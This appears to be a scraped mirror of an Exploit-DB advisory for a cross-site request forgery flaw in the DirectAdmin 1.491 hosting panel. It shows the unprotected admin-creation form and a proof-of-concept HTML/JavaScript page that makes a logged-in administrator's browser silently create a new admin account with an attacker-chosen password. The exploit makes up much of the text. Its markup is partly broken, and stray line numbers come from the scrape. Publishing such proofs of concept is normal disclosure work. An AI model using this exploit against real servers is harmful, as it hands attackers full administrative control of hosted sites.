DirectAdmin 1.491 – Cross-Site Request Forgery - 体验盒子

作者： Necmettin COSKUN

日期： 2016-02-18

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/39469/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

=============================================================================

# Title : DirectAdmin (1.491) CSRF Vulnerability

# Date: 27-10-2014 updated 18-02-2016

# Version : >=1.491

# Author: Necmettin COSKUN =>@babayarisi

# Blog:http://ha.cker.io

# Vendor: http://www.directadmin.com/

# Download: http://www.directadmin.com/demo.html

=============================================================================

# info : DirectAdmin is a web-based hosting control panel.

#As you can see original form doesn't include csrf protection or any secret token.

<tr><td class=list>Username:</td><td class=list><input type=text name=username maxlength=12 onChange="checkName()"></td></tr>

<tr><td class=list>Enter Password:</td><td class=list><input type=password name=passwd> <input type=button value="Random" onClick="randomPass()"></td></tr>

<tr><td class=list>Re-Enter Password:</td><td class=list><input type=password name=passwd2 onChange="checkPass()"></td></tr>

<tr><td class=list>Send Email Notification:</td><td class=list><input type=checkbox value="yes" name=notify checked> <a href="javascript:showAdminMessage();">Edit Admin Message</a></td></tr>

</td></tr>

</form>

#POC

<html>

<head>

</head>

function yurudi(){

var adress="www.demo.com";

var username="demo";

var email ="demo@demo.com";

var password="12345";

var urlson="https://"+adress+":2222/CMD_ACCOUNT_ADMIN?action=create&username="+username+"&email="+email+"&passwd="+password+"&passwd2="+password;

document.getElementById("resim").src=urlson;

}

</script>

</body>

</html>

#POC

# don't be evil!

Discovered by:

================

Necmettin COSKUN|GrisapkaGuvenlikGrubu|4ewa2getha!